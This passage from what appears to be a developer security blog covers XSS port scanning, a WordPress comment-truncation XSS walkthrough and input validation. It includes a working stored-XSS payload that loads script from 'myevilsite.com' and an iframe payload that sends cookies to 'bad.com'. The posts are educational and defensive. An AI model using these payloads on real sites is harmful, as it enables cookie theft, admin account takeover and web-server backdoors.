   imageUsedAsScanner.onload = imageUsedAsScanner.onerror;
   imageUsedAsScanner.src = 'http://' + hostIP + ':' + hostPort + '/testfile.jpg';
  
   setTimeout(
    function () {
     if (!imageUsedAsScanner) return;
     imageUsedAsScanner = undefined;
     callback(hostIP, hostPort, 'closed');
    }
   , timeout);
  };


So to wrap this up ... I run this javascript and print the results. Per the screenshots below notice that port 7722 (which was open) returned a "reset" while the other closed ports just refused the connection. Boom, I can port scan with XSS!



Why do we care? Developers, you have to make sure you're taking XSS seriously! Even something as trivial as an XSS flaw can lead to full network compromise. Security professionals also should care, as they need to monitor and pay attention to those TCP scanner alerts local to local as they they could be coming from an unexpected source, XSS!

NOTE: This example above was created with the intention to educate and create awareness only. This information should not be utilized information for anything malicious.

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Tuesday, April 28, 2015

WordPress XSS 0day Walkthru

I thought the Wordpress XSS vulnerability was an interesting one. I thought I'd attempt to walk through how I understand it to work.

On the comments section of any WordPress blog, a visitor can add a comment to the blog. Wordpress is actually correctly validating the input and sanitizing for XSS (Cross-Site Scripting) vulnerabilities. So what's the issue?

It's more of a quirk in the combination of how the MySql database was setup and how browsers handle malformed html.

1.) First if the comment being entered is too long, the MySql database field holding the comment cannot fit the entire comment and ends up truncating it, and actually chopping off the closing </a> tag

2.) Second, because that </a> tag was now truncated, when an Administrator views the comment for moderation (to approve or reject it) the browser will now attempt to display malformed HTML (an opening <a> tag without a closing one). Now most modern browsers don't reject malformed HTML, instead they try to automatically fix it for you. How Nice!

So if you enter your malicious comment and hit submit
<a title='xxx onmouseover=eval(unescape(/var a=document.createElement('script');a.setAttribute('src','https://myevilsite.com/thiscodegetsrunbyadmin.js');document.head.appendChild(a)/.source)) style=position;absolute;left:0;top:0;width:5000px;height:5000px AAAAAA...(tons of A's up to 65k bytes)....AAAAA' href="http://www.google.com">my link to google</a>

WordPress correctly validates that it's an ok a tag ... it's a super ugly title, but titles don't matter and can't be executed, so in the end this is just a valid link to google.com. But then WordPress saves this comment to their MySql database.

If you were to look in the WordPress database it would look something like this (it adds a paragraph tag around the text you entered too)....

<P><a title='xxx onmouseover=eval(unescape(/var a=document.createElement('script');a.setAttribute('src','https://myevilsite.com/thiscodegetsrunbyadmin.js');document.head.appendChild(a)/.source)) style=position;absolute;left:0;top:0;width:5000px;height:5000px AAAAAAAAAAAAAAAAaa</P>

Notice that a bunch of the A's as well as the closing portion of the </a> tag are now missing because of the MySQL truncation issue.

So when the Administrator goes to view this comment for moderation, the browser actually tries to fix the broken code with something like below.

<a title='xxx' onmouseover='eval(unescape(/var a=document.createElement('script');a.setAttribute('src','https://myevilsite.com/thiscodegetsrunbyadmin.js');document.head.appendChild(a)/.source)) style=position;absolute;left:0;top:0;width:5000px;height:5000px' p='AAAAAAAAAAAAAAAAA'></a>

Notice that it so nicely decided to split my harmless title out where it found whitespace and turn it into an onmouseover event.

What could actually be done with this? Well if the Administrator is doing his moderation of the blog from a browser on the Production Web Server, then that file (https://myevilsite.com/thiscodegetsrunbyadmin.js) gets executed by the Administrator under his Administrator account directory on the Production Server. So I could put Javascript code in there for example that writes a malicious file to the Production Web Server's hard drive in one of the folders that is publically accessible. I could make sure that malicious file is one of the many Web Server backdoors so that the attacker can now browse to this file which is hosted on your Wordpress blog, and do crazy things on that page like Add/Remove/Download files, Add/Remove user accounts, etc. I own that Web Server and that Administrator account.

It's important to point out here XSS is a 2-way street. You cannot simply validate the user input as it's coming in and getting saved. You also need to validate/sanitize user input after it's pulled from a data source and before it's displayed on the screen. I've blogged about this input validation topic before, as it's very similar to the concept of importing data in from another system or 3rd party source and then displaying it on your website. Don't trust it.

Oh my, XSS is really bad no matter what shape or form it comes in! Take it seriously!

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Friday, December 19, 2014

XSS is Worse than you Think

Cross Site Scripting (aka XSS) is a vulnerability that allows attackers to inject client-side scripts into webpages. If you're like most most developers (including myself at one point) you might giggle a little bit when somebody tells you it's a High Risk vulnerabilty. After all, nearly every example you've seen online or in security training allowed the attacker to create an alert popup box. Oooooooooh ... scarey!!!!!!!

Well guess what, it's worse than you think! There's a reason why OWASP keeps putting it near the top of their Top 10 Web Vulnerabilities list.

For example, one slightly more exciting example may be using XSS to redirect you to a malicious phishing website that looks identical to the site you thought you were going to.

==> document.location='http://www.some-other-webpage.com';


Or perhaps an XSS flaw is used to create a popup window offering this great coupon deal, but when you click on the deal it takes you to the attackers malicious malware ridden website.

Even more scarey is using XSS is used to inject a hidden iframe that takes advantage of a vulnerability in your browser and is used to download a trojan or virus, commonly seen in Watering Hole Attacks.

==> <iframe style="position:absolute;top:-9999px" src="http://bad.com/
    a.html?q=<script>document.write('<img src=\"http://bad.com/
    ?c='+encodeURIComponent(document.cookie)+'\">')</script>"></  iframe  >


Another frightening scenario, imagine logging into your Bank website, only to find out a few minutes later that somebody just transferred all the money out of your account. This blog walks through how with an XSS vulnerability a session cookie can be hijacked, posted to pastebin, and seconds later the attacker logs in as you. Ouch!

Imagine being the Administrator of a Blog, navigating to the page where you moderate comments, getting a session expired message, re-entering your credentials, the moving on with your work ... only to find out a few days later that your Admin account and password were stolen. This blog walks through exactly how that is possible thru XSS. Even system admins aren't safe!

Oh, but we're not done yet! Imagine navigating to a website where you enter your Credit Card, CVV, etc. for payment. This blog mentions just how simple it is to enable a key logger thru XSS and start sending all your keystrokes to an attacker. Brutal!

All of this because a developer didn't take the time to analyze their code and fix/prevent XSS. XSS is much worse than you ever thought! Perform statis analysis of your code to find these flaws before they ever go-live and fix them. Perform Dynamic Analysis scans of your websites to find vulnerabilities already existing and fix them. Sanitize all input always (If you haven't yet, read my blog on input validation to make sure you are covering all your bases).

Happy Coding!

Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Wednesday, September 10, 2014

What is the 'Input' in Input Validation?

What is the 'Input' in Input Validation?
By Justin C Miller
Posted 9/10/2014



You are a programmer. You've heard of those nasty words like SQL Injection and Cross-Site Scripting (XSS) and Buffer Overflow. You've learned that a key step to preventing them is to perform Input Validation. You sorta know how to do that with things like ...
- Strongly Typed data
- Whitelisting
- Regular Expressions
- Max and Min length checks
You might even be a bit further ahead in the game and know about Security focused encoding libraries like WPL, Coverity Security Library, or the OWASP Reform library.

But an even more important question that I think a lot of developers overlook is the "What INPUT do I apply this validation to?"

The simple answer is ALL INPUT.

The more complicated question becomes, "What is input?"

You always validate the input of a TEXTBOX. If you are a web developer you probably also know that people like to tinker with QUERY STRING PARAMETERS so you validate them. Is that it? Are we done? Is my application safe?

Hopefully your school, or your PCI auditor, or your teammates taught you better. There's a lot more work to do.

Some of the simpler ones to remember involve websites. COOKIES for example are easy to modify (for Internet Explorer all you need is Notepad) so you better validate them. URLS themself should also be validated before used since they're freely modifiable by any user in the address bar of their browser. Why validate? Imagine if I used a cookie value to query the database for a user record. Sounds ripe for SQL Injection. Or imagine if I displayed the current Url onto the screen of an error page. Sounds like a chance for using XSS to inject an iframe.

If you've ever heard of tools like TamperData, Burp, or Fiddler you'll know that HIDDEN FIELDS on your website can also be modified so you better validate them. And those tools let you modify HTTP HEADERS like REFERRER and USER AGENT so you better validate them before they're used. Not convinced its necessary? Imagine you base a SQL query off a hidden field or recording the referrer in a table for analytics. Sounds like SQL injection is in play. Are you checking the user agent to validate what browsers you support and then displaying the user agent if you rejected them? Sounds like XSS could occur.

Other ones that might get overlooked include CHECKBOXES, RADIO BUTTONS, and DROP DOWNS. Client side it kinda seems like these are non-editable. But truth is if you have any of those free tampering tools, you can change the values. Why care? I'm guessing you are querying the database based on their values so SQL injection is in play and this you better validate them.

In a Windows Form application you might need a DATAGRID that gives the user the feel they are directly editing a SQL table. You better perform input validation here since you touching the database.

VIEW STATE on a web page can be messed with thus you better validate and treat it as input to prevent attacks.

I also would not trust SESSION STATE data. Who knows where it came from or how it got filled. If you're querying you database based on information you had saved in the session, I'd be sure to validate it and prevent SQL Injection.

Another crazy one I've seen before that is worth considering is HTML CONTROL ATTRIBUTES. For example, if you're writing any of your code's logic based on what is in the control's CLASS attribute, be careful ... you might open the door to one of these attacks and this you better validate and treat it as input.

Another one I've seen that is commonly overlooked is WEB SERVICE REQUEST PARAMETERS, XML, etc. To me a call to a web service is the equivalent of a user filling in a bunch of textboxes and hitting submit, thus you better validate it to prevent attacks. Otherwise an attacker may try to cause a buffer overflow and get their malicious code to run on your server.

I've been talking a lot about websites, but there are reasons to be concerned with internal attacks by employees or attacks that can occur once the bad guy got inside your network or even attacks coming in from 3rd parties and their system integrations. Some examples of where this comes into play include a DATA IMPORT you might do from a CSV, or from an FTP'd file, or from data brought in by a job or SSIS package. Imagine if the feed you received and saved into your database table was information you displayed on your e-Commerce product page of your website. Sounds like a ripe opportunity to perform some XSS and inject and iframe to my evil site. Better validate!

s What if your program queries a user-accessible folder and READS IN FILES it finds? I wouldn't trust that data ... It could be used cause a buffer overflow and write over the program counter and execute malicious code.

If you are into writing scripts and command line programs don't forget to validate the COMMAND LINE PARAMETERS and FLAGS because they could be used for buffer overflows.

Have an open mind and remember that input comes in many forms, all of which should be validated. Remember all applications including Web apps, Windows apps, scripts, web services, and many more all require input validation. Remember when coding that no user can be trusted, not a guest, not an employee, not IT staff, not an administrator ... So validate all their input every time! Remember also that no data should be trusted, doesn't matter if it was inputted on a screen, read in from a CSV file, or is sent to you as XML in a nightly job ... It should all be validated.

In summary here is a good start to a list of what input requires validation and protection against things such as SQL Injection and XSS and Buffer Overflow
- Form data such as:
--- Textbox
--- Checkbox
--- Radio button
--- Drop down
--- Data Grids
- Hidden Fields
- Script Parameters
- Command Line Arguments
- Data from a file (e.g. CSV)
- Data from another source
- Data Imported (e.g. SSIS packages)
- Website specifics such as:
--- URLs
--- Query Strings
--- Cookies
--- Session State
--- View State
--- Http Headers such as:
------ User agent
------ Referrer
--- Html attributes such as:
------ Class
------ Style
- Web Service request parameters


Happy coding!

Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.